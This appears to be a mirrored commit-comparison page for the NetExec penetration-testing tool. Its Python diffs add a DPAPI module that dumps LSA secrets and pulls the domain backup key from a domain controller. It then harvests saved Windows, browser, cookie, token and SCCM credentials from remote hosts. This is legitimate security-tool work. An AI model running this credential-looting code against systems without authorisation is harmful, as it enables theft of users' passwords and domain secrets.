mirror of
https://github.com/Pennyw0rth/NetExec.git
synced 2026-11-08 10:09:50 -10:00
Compare commits
91
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
df9c32276a | ||
|
|
47af3a022c | ||
|
|
d542b20224 | ||
|
|
81e53ecb9c | ||
|
|
310979ab59 | ||
|
|
7bd77885b7 | ||
|
|
aecf64dbc7 | ||
|
|
d3c3ca9dea | ||
|
|
ee3dd5e0e6 | ||
|
|
490d7397f2 | ||
|
|
f1078b6622 | ||
|
|
e5b7a5f3b4 | ||
|
|
164f35dddd | ||
|
|
4e2c0a60d4 | ||
|
|
9249bb3834 | ||
|
|
317840f6df | ||
|
|
44cc9f1333 | ||
|
|
333ec792f0 | ||
|
|
a92275586e | ||
|
|
32469fea8b | ||
|
|
5823cdba20 | ||
|
|
a7626dd2c4 | ||
|
|
6b5f557736 | ||
|
|
40abafc41b | ||
|
|
6c29f3c6e4 | ||
|
|
c3122a9487 | ||
|
|
e6deadf5c7 | ||
|
|
dde1482435 | ||
|
|
ff987ee634 | ||
|
|
c72f2ca98e | ||
|
|
402615522e | ||
|
|
5d9ea3a0ad | ||
|
|
c612a1347a | ||
|
|
90efb2a9f3 | ||
|
|
8073a798e0 | ||
|
|
6699b40757 | ||
|
|
98d0549ae1 | ||
|
|
8230e9a2d3 | ||
|
|
eee763caad | ||
|
|
26e2007d77 | ||
|
|
2fc046558c | ||
|
|
978270ad00 | ||
|
|
9e94f58081 | ||
|
|
4bf5abdcdc | ||
|
|
961f4e5028 | ||
|
|
6ee4802743 | ||
|
|
42fe6b4840 | ||
|
|
7308add93f | ||
|
|
a9b8cf8e0a | ||
|
|
ff3d4937b4 | ||
|
|
b114c644c5 | ||
|
|
0d2af8bdd5 | ||
|
|
0de1fc8cd5 | ||
|
|
92e61efe14 | ||
|
|
01536dc628 | ||
|
|
8e4fc22290 | ||
|
|
1d06afcc84 | ||
|
|
c5ab84af01 | ||
|
|
cb7d22ccbc | ||
|
|
473e33352e | ||
|
|
35bf9d183e | ||
|
|
b5da832c31 | ||
|
|
d4ee81fa3f | ||
|
|
79e14ea61e | ||
|
|
31428e9674 | ||
|
|
daed14661a | ||
|
|
395bad514d | ||
|
|
a34140e7c1 | ||
|
|
2f11e2f41e | ||
|
|
100f3a1428 | ||
|
|
7a8b85406a | ||
|
|
f210749bcb | ||
|
|
59778f5b70 | ||
|
|
4a235a45b6 | ||
|
|
2d04789b10 | ||
|
|
f2cbdc4372 | ||
|
|
6b509c402a | ||
|
|
fe758a6270 | ||
|
|
f0047bc321 | ||
|
|
f476bf2313 | ||
|
|
2d35724a6e | ||
|
|
88d0c7bb3f | ||
|
|
7ccf5aaddb | ||
|
|
e60d8f1b34 | ||
|
|
db422c71b2 | ||
|
|
77f6ab4f85 | ||
|
|
9860c5fded | ||
|
|
d96e92d867 | ||
|
|
dc7e0e432d | ||
|
|
dd72a956e6 | ||
|
|
cfc9123142 |
No files matched your search
@@ -181,6 +181,8 @@ class connection:
|
||||
self.proto_flow()
|
||||
except FileNotFoundError as e:
|
||||
self.logger.error(f"File not found error on target {target}: {e}")
|
||||
except ConnectionRefusedError as e:
|
||||
self.logger.error(f"Target {target} refused the connection: {e}")
|
||||
except Exception as e:
|
||||
if "ERROR_DEPENDENT_SERVICES_RUNNING" in str(e):
|
||||
self.logger.error(f"Exception while calling proto_flow() on target {target}: {e}")
|
||||
|
||||
@@ -0,0 +1,461 @@
|
||||
|
||||
from dploot.lib.network.smb import SMBTarget, DPLootSMBConnection
|
||||
from dploot.lib.target import Target
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie
|
||||
from dploot.triage.cng import CngTriage
|
||||
from dploot.triage.credentials import CredentialsTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file, Masterkey
|
||||
from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection
|
||||
from dploot.triage.vaults import VaultsTriage
|
||||
|
||||
from nxc.helpers.firefox import FirefoxCookie, FirefoxData, FirefoxTriage
|
||||
from nxc.helpers.logger import highlight
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection):
|
||||
"""
|
||||
DPLootConnection classes implements a whole lot of stuff to handle the DPAPI part.
|
||||
This function gets the calling NXC protocol and tries reuse the already opened connection
|
||||
on DPLoot directly. If not it opens up a new connection.
|
||||
"""
|
||||
conn = None
|
||||
protocol = target.protocol
|
||||
try:
|
||||
match protocol:
|
||||
case "smb":
|
||||
from dploot.lib.network.smb import DPLootSMBConnection
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "wmi":
|
||||
from dploot.lib.network.wmi import DPLootWMIConnection
|
||||
conn = DPLootWMIConnection(target)
|
||||
if connection is not None:
|
||||
conn.dcom = connection.dcom_conn
|
||||
conn.iWbemLevel1Login = connection.iWbemLevel1Login
|
||||
else:
|
||||
conn.connect()
|
||||
case "winrm":
|
||||
from dploot.lib.network.winrm import DPLootWINRMConnection
|
||||
conn = DPLootWINRMConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
else:
|
||||
conn.connect()
|
||||
case "mssql":
|
||||
from dploot.lib.network.mssql import DPLootMSSQLConnection
|
||||
conn = DPLootMSSQLConnection(target)
|
||||
if connection is not None:
|
||||
conn.conn = connection.conn
|
||||
except Exception as e:
|
||||
connection.logger.debug(e)
|
||||
return None
|
||||
|
||||
return conn
|
||||
|
||||
|
||||
class DPAPITriage:
|
||||
"""
|
||||
DPAPI engine in NetExec. Each protocol supporting DPAPI needs to implement this class.
|
||||
Since multiple NXC functionalities now implements DPAPI related secret recovery, this class aims to centralize
|
||||
it in order to ease implemented and maintaining DPAPI functionalities is NXC protocols, but also
|
||||
to avoid dumping masterkeys X times from the same target, loading the domain backup keys X times, etc.
|
||||
|
||||
To implement this class in a protocol, use a @property decorator on dpapi_triage like so:
|
||||
|
||||
```
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = <dploot target creation>
|
||||
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
```
|
||||
|
||||
This way, every DPAPI related module will automaticaly work with the protocol
|
||||
|
||||
"""
|
||||
def __init__(self, connection, target: Target):
|
||||
self.connection = connection
|
||||
self.target = target
|
||||
|
||||
self.conn = None
|
||||
self.dump_cookies = False
|
||||
self.masterkeys = []
|
||||
self._pvkbytes = None
|
||||
|
||||
# Keep track of writing secrets in file
|
||||
self.output_file = self.connection.output_file_template.format(output_folder="dpapi")
|
||||
self.secrets_counter = 0
|
||||
|
||||
if connection.args.dpapi is not None:
|
||||
self.dump_cookies = "cookies" in connection.args.dpapi
|
||||
|
||||
# Variables to know what materkey types have already been dumped
|
||||
self.system_masterkeys_already_dumped = False
|
||||
self.users_masterkeys_already_dumped = False
|
||||
|
||||
# Initialize the connection here, if you need this class then you will need the connection
|
||||
self.init_connection()
|
||||
|
||||
def __del__(self):
|
||||
# When everything is finished, then we give the feedback to the user
|
||||
if self.output_file is not None and self.secrets_counter > 0:
|
||||
self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}")
|
||||
|
||||
def log_secret(self, line, logger=None):
|
||||
# Handle the secret counter here, avoid to handle it in multiple places
|
||||
if logger is None:
|
||||
logger = self.connection.logger
|
||||
logger.highlight(line)
|
||||
with open(self.output_file, "a", encoding="utf-8") as fd:
|
||||
self.secrets_counter += 1
|
||||
fd.write(line + "\n")
|
||||
|
||||
def init_connection(self):
|
||||
"""Tries to initiate a DPLootConnection object from a NXC connection"""
|
||||
if self.conn is not None:
|
||||
self.connection.logger.debug("DPLoot connection already initiated, skipping.")
|
||||
return
|
||||
self.conn = upgrade_to_dploot_connection(connection=self.connection, target=self.target)
|
||||
if self.conn is None:
|
||||
self.connection.logger.fail("Could not upgrade connection to allow DPAPI triage")
|
||||
return
|
||||
|
||||
def collect_masterkeys_from_target(self, dump_users: True, dump_system: False):
|
||||
"""
|
||||
Get and decrypt masterkeys from the target.
|
||||
dump_users: If True, then user masterkeys will be collected if they have not already been
|
||||
dump_system: If True, then system masterkeys will be collected if they have not already been
|
||||
"""
|
||||
# If we have already dumped everything, then we won't find new stuff
|
||||
if self.users_masterkeys_already_dumped and self.system_masterkeys_already_dumped:
|
||||
return self.masterkeys
|
||||
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
|
||||
# First, check and handle the mkfile arg
|
||||
if self.connection.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(self.connection.args.mkfile)
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# Then, use nxcdb to fill wordlists, this can help to decrypt some masterkeys
|
||||
if dump_users:
|
||||
users = self.conn.list_users()
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.connection.db.get_credentials_for_users(usernames=users, cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if self.connection.password != "":
|
||||
plaintexts[self.connection.username.lower()] = self.connection.password
|
||||
if self.connection.nthash != "":
|
||||
nthashes[self.connection.username.lower()] = self.connection.nthash
|
||||
|
||||
# Now prepare the SYSTEM part
|
||||
if (dump_system
|
||||
and self.connection.dpapi_system_key is None
|
||||
and hasattr(self.connection, "lsa")
|
||||
and callable(self.connection.lsa)):
|
||||
# We can use the protocol specific LSA dump if not already dumped.
|
||||
# But first, just making sure the protocol supports LSA dump :)
|
||||
self.connection.logger.display("Dumping LSA secrets to get DPAPI SYSTEM keys")
|
||||
self.connection.lsa(quiet=True)
|
||||
if self.connection.dpapi_system_key is not None:
|
||||
self.connection.logger.highlight(f"dpapi_machinekey:{self.connection.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.connection.logger.highlight(f"dpapi_userkey:{self.connection.dpapi_system_key['UserKey'].hex()}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get DPAPI SYSTEM keys")
|
||||
|
||||
# Invoke MasterkeyTriage class
|
||||
try:
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=self.target,
|
||||
conn=self.conn,
|
||||
pvkbytes=self.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem=self.connection.dpapi_system_key,
|
||||
)
|
||||
self.connection.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
|
||||
# Collect User Masterkeys if this has not already been done
|
||||
if dump_users and not self.users_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI Users masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.users_masterkeys_already_dumped = True
|
||||
|
||||
# Collect SYSTEM Masterkeys if this has not already been done
|
||||
if self.connection.dpapi_system_key is not None and not self.system_masterkeys_already_dumped:
|
||||
self.connection.logger.display("Collecting DPAPI SYSTEM masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
# if multiple functionalities are calling masterkeys triage, make sur we do it only once
|
||||
self.system_masterkeys_already_dumped = True
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Could not get masterkeys: {e}")
|
||||
self.masterkeys += masterkeys
|
||||
# If we decrypted new masterkeys, print the message
|
||||
if len(masterkeys) > 0:
|
||||
self.connection.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. ")
|
||||
return self.masterkeys
|
||||
|
||||
def triage_credentials(self, masterkeys: list[Masterkey]):
|
||||
# Collect User and Machine Credentials Manager secrets
|
||||
|
||||
def credential_callback(credential):
|
||||
tag = "CREDENTIAL"
|
||||
line = f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
credential.winuser,
|
||||
credential.username,
|
||||
credential.password,
|
||||
credential.target,
|
||||
)
|
||||
|
||||
try:
|
||||
credentials_triage = CredentialsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
|
||||
self.connection.logger.debug(f"Credentials Triage Object: {credentials_triage}")
|
||||
credentials_triage.triage_credentials()
|
||||
credentials_triage.triage_system_credentials()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting credentials: {e}")
|
||||
|
||||
def triage_chromium(self, masterkeys: list[Masterkey]):
|
||||
cng_chromekey = None
|
||||
# We need the CNG triage to recover Chrome passwords since Chrome v137
|
||||
try:
|
||||
cng_triage = CngTriage(target=self.target, conn=self.conn, masterkeys=masterkeys)
|
||||
for cng_file in cng_triage.triage_system_cng():
|
||||
if cng_file.cng_blob["Name"].decode("utf-16le").rstrip("\0") == "Google Chromekey1":
|
||||
self.connection.logger.debug("Found CNG Google ChromeKey1\n")
|
||||
cng_chromekey = cng_file.decrypted_private_key
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while getting CNG ChromeKey1: {e}")
|
||||
|
||||
# Collect Chrome Based Browser stored secrets
|
||||
def browser_callback(secret):
|
||||
if isinstance(secret, LoginData):
|
||||
secret_url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, GoogleRefreshToken):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
secret.browser.upper(),
|
||||
secret.winuser,
|
||||
secret.service,
|
||||
secret.token,
|
||||
"Google Refresh Token",
|
||||
)
|
||||
elif isinstance(secret, Cookie):
|
||||
line = f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
browser_triage = BrowserTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
|
||||
browser_triage.triage_browsers(gather_cookies=self.dump_cookies, cng_chromekey=cng_chromekey)
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting browsers: {e}")
|
||||
|
||||
def triage_vaults(self, masterkeys: list[Masterkey]):
|
||||
def vault_callback(secret):
|
||||
tag = "IEX"
|
||||
if secret.type == "Internet Explorer":
|
||||
resource = secret.resource + " -" if secret.resource != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.resource,
|
||||
)
|
||||
|
||||
try:
|
||||
# Collect User Internet Explorer stored secrets
|
||||
vaults_triage = VaultsTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
|
||||
vaults_triage.triage_vaults()
|
||||
except Exception as e:
|
||||
self.connection.logger.debug(f"Error while looting vaults: {e}")
|
||||
|
||||
def triage_firefox(self):
|
||||
def firefox_callback(secret):
|
||||
tag = "FIREFOX"
|
||||
if isinstance(secret, FirefoxData):
|
||||
url = secret.url + " -" if secret.url != "" else "-"
|
||||
line = f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
tag,
|
||||
secret.winuser,
|
||||
secret.username,
|
||||
secret.password,
|
||||
secret.url,
|
||||
)
|
||||
elif isinstance(secret, FirefoxCookie):
|
||||
line = f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}"
|
||||
self.log_secret(line)
|
||||
|
||||
try:
|
||||
# Collect Firefox stored secrets
|
||||
firefox_triage = FirefoxTriage(target=self.target, logger=self.connection.logger, conn=self.conn, per_secret_callback=firefox_callback)
|
||||
firefox_triage.run(gather_cookies=self.dump_cookies)
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting firefox: {e}")
|
||||
|
||||
# The dpapi function for every protocol
|
||||
def triage_dpapi(self):
|
||||
# Load masterkeys
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=True, dump_system="nosystem" not in self.connection.args.dpapi)
|
||||
if len(masterkeys) == 0:
|
||||
# Nothing will be recovered if no masterkeys, so we can stop there
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting secrets...")
|
||||
|
||||
# Calling all the triage functions. We can add other triage functions here
|
||||
self.triage_credentials(masterkeys)
|
||||
self.triage_chromium(masterkeys)
|
||||
self.triage_vaults(masterkeys)
|
||||
self.triage_firefox()
|
||||
|
||||
def triage_sccm(self):
|
||||
masterkeys = self.collect_masterkeys_from_target(dump_users=False, dump_system=True)
|
||||
if len(masterkeys) == 0:
|
||||
self.connection.logger.fail("No masterkeys looted")
|
||||
return
|
||||
|
||||
self.connection.logger.success("Looting SCCM Credentials")
|
||||
|
||||
def sccm_callback(secret):
|
||||
if isinstance(secret, SCCMCred):
|
||||
tag = "NAA Account"
|
||||
line = f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.username.decode("latin-1"),
|
||||
secret.password.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMSecret):
|
||||
tag = "Task sequences secret"
|
||||
line = f"[{tag}] {secret.secret.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
"N/A",
|
||||
secret.secret.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
elif isinstance(secret, SCCMCollection):
|
||||
tag = "Collection Variable"
|
||||
line = f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}"
|
||||
self.log_secret(line)
|
||||
self.connection.db.add_dpapi_secrets(
|
||||
self.target.address,
|
||||
f"SCCM - {tag}",
|
||||
"SYSTEM",
|
||||
secret.variable.decode("latin-1"),
|
||||
secret.value.decode("latin-1"),
|
||||
"N/A",
|
||||
)
|
||||
try:
|
||||
sccm_triage = SCCMTriage(target=self.target, conn=self.conn, masterkeys=masterkeys, per_secret_callback=sccm_callback)
|
||||
sccm_triage.triage_sccm()
|
||||
except Exception as e:
|
||||
self.logger.debug(f"Error while looting sccm: {e}")
|
||||
|
||||
@property
|
||||
def pvkbytes(self):
|
||||
"""
|
||||
The pvkbytes. If not already initialized, tries to set it
|
||||
The precedence order is the following :
|
||||
- Check the pvk argument
|
||||
- Checks in the DB
|
||||
- Get it from a domain controller
|
||||
"""
|
||||
# pvkbytes already loaded and in cache ? Serve it
|
||||
if self._pvkbytes is not None:
|
||||
return self._pvkbytes
|
||||
|
||||
pvkbytes = None
|
||||
|
||||
# First check the pvk argument and handle it
|
||||
if self.connection.args.pvk is not None:
|
||||
try:
|
||||
with open(self.connection.args.pvk, "rb") as fd:
|
||||
pvkbytes = fd.read()
|
||||
self.connection.logger.success(f"Loading domain backupkey from {self.connection.args.pvk}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(str(e))
|
||||
|
||||
# If no pvkbytes yet, then we check in the DB
|
||||
if pvkbytes is None:
|
||||
try:
|
||||
results = self.connection.db.get_domain_backupkey(self.connection.domain)
|
||||
except Exception:
|
||||
self.connection.logger.fail("Your version of nxcdb is not up to date, run nxcdb and create a new workspace: 'workspace create dpapi' then re-run the dpapi option")
|
||||
return False
|
||||
if len(results) > 0:
|
||||
self.connection.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
|
||||
# If no pvkbytes yet, then we can try to get it from a domain controller
|
||||
if pvkbytes is None and self.connection.no_da is None and self.connection.args.local_auth is False:
|
||||
try:
|
||||
dc_target = SMBTarget.create(
|
||||
domain=self.connection.domain,
|
||||
username=self.connection.username,
|
||||
password=self.connection.password,
|
||||
address=self.connection.kdcHost, # querying DNS server for domain will return DC
|
||||
lmhash=self.connection.lmhash,
|
||||
nthash=self.connection.nthash,
|
||||
do_kerberos=self.connection.kerberos,
|
||||
aesKey=self.connection.aesKey,
|
||||
use_kcache=self.connection.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
self.connection.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
self.connection.db.add_domain_backupkey(self.connection.domain, pvkbytes)
|
||||
else:
|
||||
self.connection.no_da = False
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
|
||||
self._pvkbytes = pvkbytes
|
||||
return self._pvkbytes
|
||||
@@ -11,9 +11,8 @@ from dataclasses import dataclass
|
||||
from typing import Any
|
||||
from Cryptodome.Cipher import AES, DES3
|
||||
from pyasn1.codec.der import decoder
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.lib.network import DPLootConnection
|
||||
|
||||
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
|
||||
|
||||
CKA_ID = unhexlify("f8000000000000000000000000000001")
|
||||
|
||||
@@ -61,7 +60,7 @@ class FirefoxTriage:
|
||||
"All Users",
|
||||
)
|
||||
|
||||
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
|
||||
def __init__(self, target, logger, conn: DPLootConnection = None, per_secret_callback: Any = None):
|
||||
self.target = target
|
||||
self.logger = logger
|
||||
self.conn = conn
|
||||
@@ -69,16 +68,13 @@ class FirefoxTriage:
|
||||
self.per_secret_callback = per_secret_callback
|
||||
|
||||
def run(self, gather_cookies=False):
|
||||
if self.conn is None:
|
||||
upgrade_to_dploot_connection(target=self.target)
|
||||
|
||||
firefox_data = []
|
||||
firefox_cookies = []
|
||||
# list users
|
||||
users = self.get_users()
|
||||
users = self.conn.list_users()
|
||||
for user in users:
|
||||
try:
|
||||
directories = self.conn.remote_list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
directories = self.conn.list_dir(share=self.share, path=self.firefox_generic_path.format(user))
|
||||
except Exception as e:
|
||||
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
|
||||
continue
|
||||
@@ -89,18 +85,18 @@ class FirefoxTriage:
|
||||
try:
|
||||
if gather_cookies:
|
||||
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
|
||||
cookies_data = self.conn.readFile(self.share, cookies_path)
|
||||
cookies_data = self.conn.read_file(path=cookies_path, share=self.share)
|
||||
if cookies_data is not None:
|
||||
firefox_cookies += self.parse_cookie_data(user, cookies_data)
|
||||
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
|
||||
logins_data = self.conn.readFile(self.share, logins_path)
|
||||
logins_data = self.conn.read_file(path=logins_path, share=self.share)
|
||||
if logins_data is None:
|
||||
continue # No logins.json file found
|
||||
logins = self.get_login_data(logins_data=logins_data)
|
||||
if len(logins) == 0:
|
||||
continue # No logins profile found
|
||||
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
|
||||
key4_data = self.conn.readFile(self.share, key4_path)
|
||||
key4_data = self.conn.read_file(path=key4_path, share=self.share)
|
||||
if key4_data is None:
|
||||
continue
|
||||
# Get all available master keys (Firefox 144+ may have multiple keys)
|
||||
@@ -252,17 +248,6 @@ class FirefoxTriage:
|
||||
self.logger.debug(e)
|
||||
return "", "", ""
|
||||
|
||||
def get_users(self):
|
||||
users = []
|
||||
|
||||
users_dir_path = "Users\\*"
|
||||
directories = self.conn.listPath(shareName=self.share, path=ntpath.normpath(users_dir_path))
|
||||
|
||||
for d in directories:
|
||||
if d.get_longname() not in self.false_positive and d.is_directory() > 0:
|
||||
users.append(d.get_longname()) # ruff: ignore[manual-list-comprehension], ignoring for readability
|
||||
return users
|
||||
|
||||
@staticmethod
|
||||
def decode_login_data(data):
|
||||
asn1data = decoder.decode(b64decode(data))
|
||||
@@ -1,79 +0,0 @@
|
||||
|
||||
from datetime import datetime, timezone
|
||||
from impacket.ldap import ldap as ldap_impacket
|
||||
from impacket.ldap import ldapasn1 as ldapasn1_impacket
|
||||
|
||||
|
||||
def parse_ldap_timestamp(ts):
|
||||
"""Convert LDAP generalized time (e.g., '20240603160917.0Z')
|
||||
to a human-readable string
|
||||
"""
|
||||
if not ts:
|
||||
return ""
|
||||
try:
|
||||
cleaned = ts.replace(".0Z", "").replace("Z", "")
|
||||
dt = datetime.strptime(cleaned, "%Y%m%d%H%M%S").replace(tzinfo=timezone.utc)
|
||||
return dt.strftime("%Y-%m-%d %H:%M:%S UTC")
|
||||
except (ValueError, TypeError):
|
||||
return ts
|
||||
|
||||
|
||||
def query_ldap_gpos(host, domain, username, password, lmhash, nthash, aes_key, kdc_host, kerberos, logger):
|
||||
"""Query LDAP for GPO metadata
|
||||
Returns dict of {GUID: {displayName, ...}} or None on failure
|
||||
|
||||
This function is standalone so it can be reused by other modules
|
||||
(e.g., a future list_gpos LDAP module)
|
||||
"""
|
||||
base_dn = ",".join(f"DC={part}" for part in domain.split("."))
|
||||
search_filter = "(objectClass=groupPolicyContainer)"
|
||||
attributes = ["cn", "displayName", "gPCFileSysPath", "versionNumber", "whenCreated", "whenChanged"]
|
||||
|
||||
try:
|
||||
ldap_url = f"ldap://{host}"
|
||||
logger.debug(f"Connecting to LDAP at {ldap_url} for GPO metadata")
|
||||
ldap_connection = ldap_impacket.LDAPConnection(url=ldap_url, baseDN=base_dn, dstIp=host)
|
||||
|
||||
if kerberos:
|
||||
ldap_connection.kerberosLogin(username, password, domain, lmhash, nthash, aes_key, kdcHost=kdc_host)
|
||||
else:
|
||||
ldap_connection.login(username, password, domain, lmhash, nthash)
|
||||
|
||||
search_base = f"CN=Policies,CN=System,{base_dn}"
|
||||
logger.debug(f"Searching LDAP: base={search_base}, filter={search_filter}")
|
||||
resp = ldap_connection.search(
|
||||
searchFilter=search_filter,
|
||||
attributes=attributes,
|
||||
searchBase=search_base,
|
||||
sizeLimit=0,
|
||||
)
|
||||
|
||||
gpo_map = {}
|
||||
for entry in resp:
|
||||
if not isinstance(entry, ldapasn1_impacket.SearchResultEntry):
|
||||
continue
|
||||
|
||||
attrs = {}
|
||||
for attribute in entry["attributes"]:
|
||||
attr_name = str(attribute["type"])
|
||||
vals = [str(val) for val in attribute["vals"].components]
|
||||
attrs[attr_name] = vals[0] if len(vals) == 1 else vals
|
||||
|
||||
guid = attrs.get("cn", "").upper()
|
||||
if guid:
|
||||
if not guid.startswith("{"):
|
||||
guid = f"{{{guid}}}"
|
||||
gpo_map[guid] = {
|
||||
"displayName": attrs.get("displayName", "Unknown"),
|
||||
"gPCFileSysPath": attrs.get("gPCFileSysPath", ""),
|
||||
"versionNumber": attrs.get("versionNumber", "0"),
|
||||
"whenCreated": attrs.get("whenCreated", ""),
|
||||
"whenChanged": attrs.get("whenChanged", ""),
|
||||
}
|
||||
|
||||
logger.debug(f"LDAP returned {len(gpo_map)} GPOs")
|
||||
return gpo_map
|
||||
|
||||
except Exception as e:
|
||||
logger.debug(f"LDAP GPO query failed: {e}")
|
||||
return None
|
||||
@@ -1,102 +0,0 @@
|
||||
from impacket.dcerpc.v5 import transport, srvs
|
||||
from impacket.dcerpc.v5.dtypes import OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION
|
||||
from impacket.ldap import ldaptypes
|
||||
|
||||
from nxc.protocols.ldap.constants import ACCESS_MASK_TO_TEXT_LOOKUP
|
||||
|
||||
|
||||
def get_share_security_descriptor(connection, share_name, path, sec_info_flags=None):
|
||||
r"""Get the security descriptor for a file/folder on an SMB share via SRVS RPC.
|
||||
|
||||
Args:
|
||||
connection: An NXC SMB connection object with host, username, password, etc.
|
||||
share_name: The SMB share name (e.g. "SYSVOL").
|
||||
path: The path within the share (e.g. "domain.local\\Policies\\{GUID}").
|
||||
sec_info_flags: Security information flags to request. Defaults to
|
||||
OWNER | GROUP | DACL.
|
||||
|
||||
Returns:
|
||||
An SR_SECURITY_DESCRIPTOR parsed from the raw response.
|
||||
"""
|
||||
if sec_info_flags is None:
|
||||
sec_info_flags = OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION
|
||||
|
||||
rpc_transport = transport.SMBTransport(
|
||||
connection.host,
|
||||
connection.host,
|
||||
filename=r"\srvsvc",
|
||||
smb_connection=connection.conn,
|
||||
)
|
||||
